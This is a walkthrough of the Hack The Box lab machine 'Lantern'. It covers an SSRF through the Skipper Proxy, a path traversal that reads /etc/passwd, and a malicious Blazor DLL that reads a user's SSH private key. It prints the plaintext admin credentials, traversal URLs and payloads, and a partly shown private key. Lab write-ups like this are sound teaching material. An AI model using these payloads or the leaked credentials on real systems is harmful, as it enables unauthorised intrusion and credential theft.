Hackthebox: Lantern

Foued SAIDI Lv4

Overview

Lantern is a hard-difficulty linux machine from Hack The Box. It initially deals with an SSRF exploit from the Skipper-Proxy to enumerate internal services, get and decompile a DLL which will provide us with a password to get into an admin dashboard where we’ll be exploiting a path traversal vulnerability to load a malicious DLL by deserliazing Blazor traffic which will give us user flag. Finally we’ll be exploiting procmon to monitor an automation process owned by root to reach his password being written by the process.

Lantern-info-card
Lantern-info-card

Reconnaissance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
PS C:\Users\0xkujen> nmap -A -Pn 10.129.242.138 --unprivileged
Starting Nmap 7.95 ( https://nmap.org ) at 2024-11-29 11:11 W. Central Africa Standard Time
Nmap scan report for 10.129.242.138
Host is up (0.35s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 80:c9:47:d5:89:f8:50:83:02:5e:fe:53:30:ac:2d:0e (ECDSA)
|_ 256 d4:22:cf:fe:b1:00:cb:eb:6d:dc:b2:b4:64:6b:9d:89 (ED25519)
80/tcp open http Golang net/http server
|_http-server-header: Skipper Proxy
|_http-title: Did not follow redirect to http://lantern.htb/
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 Not Found
| Content-Length: 207
| Content-Type: text/html; charset=utf-8
| Date: Fri, 29 Nov 2024 10:17:42 GMT
| Server: Skipper Proxy
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GenericLines, Help, LPDString, RTSPRequest, SSLSessionReq:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Content-Length: 225
| Content-Type: text/html; charset=utf-8
| Date: Fri, 29 Nov 2024 10:17:39 GMT
| Location: http://lantern.htb/
| Server: Skipper Proxy
| <!doctype html>
| <html lang=en>
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to the target URL: <a href="http://lantern.htb/">http://lantern.htb/</a>. If not, click the link.
| HTTPOptions:
| HTTP/1.0 200 OK
| Allow: GET, OPTIONS, HEAD
| Content-Length: 0
| Content-Type: text/html; charset=utf-8
| Date: Fri, 29 Nov 2024 10:17:40 GMT
|_ Server: Skipper Proxy
3000/tcp open http Microsoft Kestrel httpd
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-server-header: Kestrel
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
<snip>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 89.99 seconds
PS C:\Users\0xkujen>

We can see that we have ssh 22 port open, a web application deployed on port 80 that’s redirecting us to http://lantern.htb so we could add that as an entry to our /etc/hosts and finally a Kestrel web server on port 3000.

Web Application - http://lantern.htb

Web Application
Web Application

This doesn’t seem to have anything special, let’s fire up Caido and see what the requests are hiding:

Web Application
Web Application

Something really interesting is the presence of Skipper Proxy as part of the response so it’simplemented within our application.
Also navigating to port 3000 we get a lot of loaded blazor framework DLLs.
We can explore the blazor framework architecture through this github repo .

With a quick google search I stumbled upon this exploit for the Skipper Proxy where we could inject the X-Skipper-Proxy header to our request to exploit and SSRF vulnerability which will allow us to enumerate internal services.

What we could do now is create a script to enumerate all internal services, but I used my ninja CTF skills and guessed a port which you find 90% of the time when it comes to internal services: Port 5000. Also the default paths to enumerate blazor are _framework/blazor.boot.json and /_framework/blazor.webassembly.js:

DLL
DLL

We can see that there is a InternaLantern being loaded, so let’s go ahead download it(by navgating to http://lantern.htb/_framework/InternaLantern.dll and adding the proxy header) and open it with dotPeek:

DLL
DLL

Inside of our DLL, we find some weird strings that seem like base64-encoded strings, let’s get them all and download them then see what they hide from us.
In one of the strings, I find this interesting data:
DLL
DLL

Now we have a username and password admin:AJbFA_Q@925p9ap#22 that we could utilize to login in the admin portal at port 3000:

DLL
DLL

And we are in!!

Web Application - http://lantern.htb:3000 - File Disclosure

We have a lot of features on our dashboard, one of which is file upload and we could also read the source code of the app:

Admin Dashboard
Admin Dashboard

app.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from flask import Flask, render_template, send_file, request, redirect, json
from werkzeug.utils import secure_filename
import os

app=Flask("__name__")

@app.route('/')
def index():
if request.headers['Host'] != "lantern.htb":
return redirect("http://lantern.htb/", code=302)
return render_template("index.html")

@app.route('/vacancies')
def vacancies():
return render_template('vacancies.html')

@app.route('/submit', methods=['POST'])
def save_vacancy():
name = request.form.get('name')
email = request.form.get('email')
vacancy = request.form.get('vacancy', default='Middle Frontend Developer')

if 'resume' in request.files:
try:
file = request.files['resume']
resume_name = file.filename
if resume_name.endswith('.pdf') or resume_name == '':
filename = secure_filename(f"resume-{name}-{vacancy}-latern.pdf")
upload_folder = os.path.join(os.getcwd(), 'uploads')
destination = '/'.join([upload_folder, filename])
file.save(destination)
else:
return "Only PDF files allowed!"
except:
return "Something went wrong!"
return "Thank you! We will conact you very soon!"

@app.route('/PrivacyAndPolicy')
def sendPolicyAgreement():
lang = request.args.get('lang')
file_ext = request.args.get('ext')
try:
return send_file(f'/var/www/sites/localisation/{lang}.{file_ext}')
except:
return send_file(f'/var/www/sites/localisation/default/policy.pdf', 'application/pdf')

if __name__ == '__main__':
app.run(host='127.0.0.1', port=8000)

One intriguing line is:
return send_file(f'/var/www/sites/localisation/{lang}.{file_ext}') where we could disclose files by including the file name and the extension in the url.
We could disclose /etc/passwd in this way: http://lantern.htb/PrivacyAndPolicy?lang=../../../../&ext=./etc/passwd:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www/sites:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
tomas:x:1000:1000:tomas:/home/tomas:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
_laurel:x:998:998::/var/log/laurel:/bin/false

(I could not get tomas’s rsa id with the same technique)

Web Application http://lantern.htb:3000 - RCE

There was a specific error that intrigued me:

DLL Loading
DLL Loading

It said that it could not “load file or assembly” which would imply actually executing the DLLs under the /opt/components directory, which we do not have access to at the moment since everything is being uploaded to the /var/www/sites/lantern.htb

Blazor Traffic Processor

Since the application suffers from path traversal, it means we could modify the file name we’re uploading to make it upload to the /opt/components folder. We could do that using the BTP (Blazor Traffic Processor) extension from the BApp store in BurpSuite Community Edition:

BTP
BTP

We use BTP because we cannot read the random binaries included in the request when trying to upload a DLL file.

Now what we can do is write an exploit in .NET, build it using the dotnet tool, upload it and see what we got:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
using Microsoft.AspNetCore.Components;
using Microsoft.AspNetCore.Components.Rendering;
using System.IO;

namespace exploit
{
public class Component : ComponentBase
{
protected override void BuildRenderTree(RenderTreeBuilder builder)
{
base.BuildRenderTree(builder);

// Read private SSH key of user tomas
string file = File.ReadAllText("/home/tomas/.ssh/id_rsa");

builder.AddContent(0, file);
}
}
}

Now we build it this way (I used .NET 6.0):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
┌──(kali㉿kali)-[~/Hackthebox/exploit_project]
└─$ dotnet new classlib -n exploit

Welcome to .NET 6.0!
---------------------
SDK Version: 6.0.400

----------------
Installed an ASP.NET Core HTTPS development certificate.
To trust the certificate run 'dotnet dev-certs https --trust' (Windows and macOS only).
Learn about HTTPS: https://aka.ms/dotnet-https
----------------
Write your first app: https://aka.ms/dotnet-hello-world
Find out what's new: https://aka.ms/dotnet-whats-new
Explore documentation: https://aka.ms/dotnet-docs
Report issues and find source on GitHub: https://github.com/dotnet/core
Use 'dotnet --help' to see available commands or visit: https://aka.ms/dotnet-cli
--------------------------------------------------------------------------------------
The template "Class Library" was created successfully.

Processing post-creation actions...
Running 'dotnet restore' on /home/kali/Hackthebox/exploit_project/exploit/exploit.csproj...
Determining projects to restore...
Restored /home/kali/Hackthebox/exploit_project/exploit/exploit.csproj (in 13.37 sec).
Restore succeeded.



┌──(kali㉿kali)-[~/Hackthebox/exploit_project]
└─$ cd exploit

┌──(kali㉿kali)-[~/Hackthebox/exploit_project/exploit]
└─$ nano Class1.cs

┌──(kali㉿kali)-[~/Hackthebox/exploit_project/exploit]
└─$ dotnet add package Microsoft.AspNetCore.Components --version 6.0.0
Determining projects to restore...
Writing /tmp/tmpKho1Xa.tmp
info : X.509 certificate chain validation will use the fallback certificate bundle at '/usr/share/dotnet/sdk/6.0.400/trustedroots/codesignctl.pem'.
info : Adding PackageReference for package 'Microsoft.AspNetCore.Components' into project '/home/kali/Hackthebox/exploit_project/exploit/exploit.csproj'.
info : Restoring packages for /home/kali/Hackthebox/exploit_project/exploit/exploit.csproj...
info : GET https://api.nuget.org/v3-flatcontainer/microsoft.aspnetcore.components/index.json
info : OK https://api.nuget.org/v3-flatcontainer/microsoft.aspnetcore.components/index.json 2934ms
info : GET https://api.nuget.org/v3-flatcontainer/microsoft.aspnetcore.components/6.0.0/microsoft.aspnetcore.components.6.0.0.nupkg
info : OK https://api.nuget.org/v3-flatcontainer/microsoft.aspnetcore.components/6.0.0/microsoft.aspnetcore.components.6.0.0.nupkg 498ms
info : GET https://api.nuget.org/v3-flatcontainer/microsoft.aspnetcore.components.analyzers/index.json
info : GET https://api.nuget.org/v3-flatcontainer/microsoft.aspnetcore.authorization/index.json
info : OK https://api.nuget.org/v3-flatcontainer/microsoft.aspnetcore.components.analyzers/index.json 522ms
info : GET https://api.nuget.org/v3-flatcontainer/microsoft.aspnetcore.components.analyzers/6.0.0/microsoft.aspnetcore.components.analyzers.6.0.0.nupkg
info : OK https://api.nuget.org/v3-flatcontainer/microsoft.aspnetcore.authorization/index.json 980ms
info : GET https://api.nuget.org/v3-flatcontainer/microsoft.aspnetcore.authorization/6.0.0/microsoft.aspnetcore.authorization.6.0.0.nupkg
info : OK https://api.nuget.org/v3-flatcontainer/microsoft.aspnetcore.components.analyzers/6.0.0/microsoft.aspnetcore.components.analyzers.6.0.0.nupkg 511ms
info : OK https://api.nuget.org/v3-flatcontainer/microsoft.aspnetcore.authorization/6.0.0/microsoft.aspnetcore.authorization.6.0.0.nupkg 506ms
info : GET https://api.nuget.org/v3-flatcontainer/microsoft.aspnetcore.metadata/index.json
info : GET https://api.nuget.org/v3-flatcontainer/microsoft.extensions.logging.abstractions/index.json
info : GET https://api.nuget.org/v3-flatcontainer/microsoft.extensions.options/index.json
info : OK https://api.nuget.org/v3-flatcontainer/microsoft.extensions.logging.abstractions/index.json 495ms
info : GET https://api.nuget.org/v3-flatcontainer/microsoft.extensions.logging.abstractions/6.0.0/microsoft.extensions.logging.abstractions.6.0.0.nupkg
info : OK https://api.nuget.org/v3-flatcontainer/microsoft.aspnetcore.metadata/index.json 502ms
info : GET https://api.nuget.org/v3-flatcontainer/microsoft.aspnetcore.metadata/6.0.0/microsoft.aspnetcore.metadata.6.0.0.nupkg
info : OK https://api.nuget.org/v3-flatcontainer/microsoft.extensions.logging.abstractions/6.0.0/microsoft.extensions.logging.abstractions.6.0.0.nupkg 70ms
info : OK https://api.nuget.org/v3-flatcontainer/microsoft.extensions.options/index.json 871ms
info : GET https://api.nuget.org/v3-flatcontainer/microsoft.extensions.options/6.0.0/microsoft.extensions.options.6.0.0.nupkg
info : OK https://api.nuget.org/v3-flatcontainer/microsoft.extensions.options/6.0.0/microsoft.extensions.options.6.0.0.nupkg 70ms
info : OK https://api.nuget.org/v3-flatcontainer/microsoft.aspnetcore.metadata/6.0.0/microsoft.aspnetcore.metadata.6.0.0.nupkg 677ms
info : GET https://api.nuget.org/v3-flatcontainer/microsoft.extensions.dependencyinjection.abstractions/index.json
info : GET https://api.nuget.org/v3-flatcontainer/microsoft.extensions.primitives/index.json
info : OK https://api.nuget.org/v3-flatcontainer/microsoft.extensions.dependencyinjection.abstractions/index.json 521ms
info : OK https://api.nuget.org/v3-flatcontainer/microsoft.extensions.primitives/index.json 520ms
info : GET https://api.nuget.org/v3-flatcontainer/microsoft.extensions.dependencyinjection.abstractions/6.0.0/microsoft.extensions.dependencyinjection.abstractions.6.0.0.nupkg
info : GET https://api.nuget.org/v3-flatcontainer/microsoft.extensions.primitives/6.0.0/microsoft.extensions.primitives.6.0.0.nupkg
info : OK https://api.nuget.org/v3-flatcontainer/microsoft.extensions.dependencyinjection.abstractions/6.0.0/microsoft.extensions.dependencyinjection.abstractions.6.0.0.nupkg 76ms
info : OK https://api.nuget.org/v3-flatcontainer/microsoft.extensions.primitives/6.0.0/microsoft.extensions.primitives.6.0.0.nupkg 106ms
info : GET https://api.nuget.org/v3-flatcontainer/system.runtime.compilerservices.unsafe/index.json
info : OK https://api.nuget.org/v3-flatcontainer/system.runtime.compilerservices.unsafe/index.json 523ms
info : GET https://api.nuget.org/v3-flatcontainer/system.runtime.compilerservices.unsafe/6.0.0/system.runtime.compilerservices.unsafe.6.0.0.nupkg
info : OK https://api.nuget.org/v3-flatcontainer/system.runtime.compilerservices.unsafe/6.0.0/system.runtime.compilerservices.unsafe.6.0.0.nupkg 62ms
info : Installed Microsoft.AspNetCore.Components.Analyzers 6.0.0 from https://api.nuget.org/v3/index.json with content hash 2cpebhhUAJXYgvrePJNXzhJfM5u6MAIuu4Nho6LEjQliMtAQ6NcdtYxkezoFxqTrgT1fZR0CSYAxp7k41q6PVQ==.
info : Installed Microsoft.AspNetCore.Metadata 6.0.0 from https://api.nuget.org/v3/index.json with content hash giBCvjANLIOqC+DJ84zCkCQnE4ebRTrgVyBe5e0gG3/F8GYzdqSSdtMSAvbOkBQsf0F8dySBPSM59vX6ksOeQg==.
info : Installed System.Runtime.CompilerServices.Unsafe 6.0.0 from https://api.nuget.org/v3/index.json with content hash /iUeP3tq1S0XdNNoMz5C9twLSrM/TH+qElHkXWaPvuNOt+99G75NrV0OS2EqHx5wMN7popYjpc8oTjC1y16DLg==.
info : Installed Microsoft.AspNetCore.Authorization 6.0.0 from https://api.nuget.org/v3/index.json with content hash HPEhmNwINXzGVWirzmvVxx5/GkoaQJC7vKNIbhOUTzgnRHEf2zO6S2s4lMw3TPFWBGcAlfn6Ta0cVB9f15QC8w==.
info : Installed Microsoft.Extensions.Options 6.0.0 from https://api.nuget.org/v3/index.json with content hash dzXN0+V1AyjOe2xcJ86Qbo233KHuLEY0njf/P2Kw8SfJU+d45HNS2ctJdnEnrWbM9Ye2eFgaC5Mj9otRMU6IsQ==.
info : Installed Microsoft.Extensions.DependencyInjection.Abstractions 6.0.0 from https://api.nuget.org/v3/index.json with content hash xlzi2IYREJH3/m6+lUrQlujzX8wDitm4QGnUu6kUXTQAWPuZY8i+ticFJbzfqaetLA6KR/rO6Ew/HuYD+bxifg==.
info : Installed Microsoft.AspNetCore.Components 6.0.0 from https://api.nuget.org/v3/index.json with content hash ETks/RMYyiC91P89jL9XNEwTeYlpyzt2+Z584v70h+B9//BO0cc68gAlhz3E0v/9h4NqCSHbTlopvMvj0qxnEg==.
info : Installed Microsoft.Extensions.Primitives 6.0.0 from https://api.nuget.org/v3/index.json with content hash 9+PnzmQFfEFNR9J2aDTfJGGupShHjOuGw4VUv+JB044biSHrnmCIMD+mJHmb2H7YryrfBEXDurxQ47gJZdCKNQ==.
info : Installed Microsoft.Extensions.Logging.Abstractions 6.0.0 from https://api.nuget.org/v3/index.json with content hash /HggWBbTwy8TgebGSX5DBZ24ndhzi93sHUBDvP1IxbZD7FDokYzdAr6+vbWGjw2XAfR2EJ1sfKUotpjHnFWPxA==.
info : Package 'Microsoft.AspNetCore.Components' is compatible with all the specified frameworks in project '/home/kali/Hackthebox/exploit_project/exploit/exploit.csproj'.
info : PackageReference for package 'Microsoft.AspNetCore.Components' version '6.0.0' added to file '/home/kali/Hackthebox/exploit_project/exploit/exploit.csproj'.
info : Generating MSBuild file /home/kali/Hackthebox/exploit_project/exploit/obj/exploit.csproj.nuget.g.targets.
info : Writing assets file to disk. Path: /home/kali/Hackthebox/exploit_project/exploit/obj/project.assets.json
log : Restored /home/kali/Hackthebox/exploit_project/exploit/exploit.csproj (in 8.67 sec).

┌──(kali㉿kali)-[~/Hackthebox/exploit_project/exploit]
└─$ dotnet add package Microsoft.AspNetCore.Components.Web --version 6.0.0
Determining projects to restore...
Writing /tmp/tmpNbJR4o.tmp
info : X.509 certificate chain validation will use the fallback certificate bundle at '/usr/share/dotnet/sdk/6.0.400/trustedroots/codesignctl.pem'.
info : Adding PackageReference for package 'Microsoft.AspNetCore.Components.Web' into project '/home/kali/Hackthebox/exploit_project/exploit/exploit.csproj'.
info : Restoring packages for /home/kali/Hackthebox/exploit_project/exploit/exploit.csproj...
info : GET https://api.nuget.org/v3-flatcontainer/microsoft.aspnetcore.components.web/index.json
info : OK https://api.nuget.org/v3-flatcontainer/microsoft.aspnetcore.components.web/index.json 2903ms
info : GET https://api.nuget.org/v3-flatcontainer/microsoft.aspnetcore.components.web/6.0.0/microsoft.aspnetcore.components.web.6.0.0.nupkg
info : OK https://api.nuget.org/v3-flatcontainer/microsoft.aspnetcore.components.web/6.0.0/microsoft.aspnetcore.components.web.6.0.0.nupkg 51ms
info : GET https://api.nuget.org/v3-flatcontainer/microsoft.aspnetcore.components.forms/index.json
info : GET https://api.nuget.org/v3-flatcontainer/microsoft.jsinterop/index.json
info : GET https://api.nuget.org/v3-flatcontainer/microsoft.extensions.dependencyinjection/index.json
info : GET https://api.nuget.org/v3-flatcontainer/system.io.pipelines/index.json
info : OK https://api.nuget.org/v3-flatcontainer/microsoft.aspnetcore.components.forms/index.json 507ms
info : GET https://api.nuget.org/v3-flatcontainer/microsoft.aspnetcore.components.forms/6.0.0/microsoft.aspnetcore.components.forms.6.0.0.nupkg
info : OK https://api.nuget.org/v3-flatcontainer/microsoft.jsinterop/index.json 786ms
info : GET https://api.nuget.org/v3-flatcontainer/microsoft.jsinterop/6.0.0/microsoft.jsinterop.6.0.0.nupkg
info : OK https://api.nuget.org/v3-flatcontainer/microsoft.extensions.dependencyinjection/index.json 1029ms
info : GET https://api.nuget.org/v3-flatcontainer/microsoft.extensions.dependencyinjection/6.0.0/microsoft.extensions.dependencyinjection.6.0.0.nupkg
info : OK https://api.nuget.org/v3-flatcontainer/system.io.pipelines/index.json 1307ms
info : GET https://api.nuget.org/v3-flatcontainer/system.io.pipelines/6.0.0/system.io.pipelines.6.0.0.nupkg
info : OK https://api.nuget.org/v3-flatcontainer/microsoft.aspnetcore.components.forms/6.0.0/microsoft.aspnetcore.components.forms.6.0.0.nupkg 895ms
info : OK https://api.nuget.org/v3-flatcontainer/microsoft.jsinterop/6.0.0/microsoft.jsinterop.6.0.0.nupkg 659ms
info : OK https://api.nuget.org/v3-flatcontainer/microsoft.extensions.dependencyinjection/6.0.0/microsoft.extensions.dependencyinjection.6.0.0.nupkg 494ms
info : OK https://api.nuget.org/v3-flatcontainer/system.io.pipelines/6.0.0/system.io.pipelines.6.0.0.nupkg 465ms
info : Installed System.IO.Pipelines 6.0.0 from https://api.nuget.org/v3/index.json with content hash mXX66shZ4xLlI3vNLaJ0lt8OIZdmXTvIqXRdQX5HLVGSkLhINLsVhyZuX2UdRFnOGkqnwmMUs40pIIQ7mna4+A==.
info : Installed Microsoft.JSInterop 6.0.0 from https://api.nuget.org/v3/index.json with content hash M7NyTgOY0vhozRtppvxUDJblgPWBUg6ioJ2vpaKpXVYILB0No8Vrv4HPis+ig5BzaOWd3PR9D3oTovYKGBt3mw==.
info : Installed Microsoft.AspNetCore.Components.Web 6.0.0 from https://api.nuget.org/v3/index.json with content hash EvTZEhXCqcIxEs01ScF0ts/CyMOzXQIFfcgwTeLae7dQV7WnPEFhqrlD+1l78lA/h+Uer1RvaRbkAScGE/0tyQ==.
info : Installed Microsoft.Extensions.DependencyInjection 6.0.0 from https://api.nuget.org/v3/index.json with content hash k6PWQMuoBDGGHOQTtyois2u4AwyVcIwL2LaSLlTZQm2CYcJ1pxbt6jfAnpWmzENA/wfrYRI/X9DTLoUkE4AsLw==.
info : Installed Microsoft.AspNetCore.Components.Forms 6.0.0 from https://api.nuget.org/v3/index.json with content hash POjep/9qy79PD/q/5Gai7Xsg6Oybmo10+bVsCkoTrfu1kAO8dWgbQgJWH8I/VMfOPZY/dPgfo+BitqEriWMuKQ==.
info : Package 'Microsoft.AspNetCore.Components.Web' is compatible with all the specified frameworks in project '/home/kali/Hackthebox/exploit_project/exploit/exploit.csproj'.
info : PackageReference for package 'Microsoft.AspNetCore.Components.Web' version '6.0.0' added to file '/home/kali/Hackthebox/exploit_project/exploit/exploit.csproj'.
info : Writing assets file to disk. Path: /home/kali/Hackthebox/exploit_project/exploit/obj/project.assets.json
log : Restored /home/kali/Hackthebox/exploit_project/exploit/exploit.csproj (in 5.26 sec).

┌──(kali㉿kali)-[~/Hackthebox/exploit_project/exploit]
└─$ dotnet build -c release
MSBuild version 17.3.0+92e077650 for .NET
Determining projects to restore...
All projects are up-to-date for restore.
exploit -> /home/kali/Hackthebox/exploit_project/exploit/bin/release/net6.0/exploit.dll

Build succeeded.
0 Warning(s)
0 Error(s)

Time Elapsed 00:00:03.14

┌──(kali㉿kali)-[~/Hackthebox/exploit_project/exploit]
└─$ ls
bin Class1.cs exploit.csproj obj

┌──(kali㉿kali)-[~/Hackthebox/exploit_project/exploit]
└─$ ls bin/release/net6.0
exploit.deps.json exploit.dll exploit.pdb

Now we can launch the upload feature.

Intercept the request and pass it to burp’s BTP extension:

Exploit
Exploit

Exploit
Exploit

Modify our Blazor payload by altering the name to ../../../../../../opt/components/exploit.dll:

Exploit
Exploit

Serialize it again and repass it with our request.
And it’s finally uploaded to the correct directory:

Exploit
Exploit

And we can now execute it by searching for it so it gets loaded and we get our id_rsa for user tomas (I had to remake it because I made a small mistake with the class name initially so didn’t go through):

ID_RSA
ID_RSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
-----BEGIN OPENSSH PRIVATE KEY-----
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
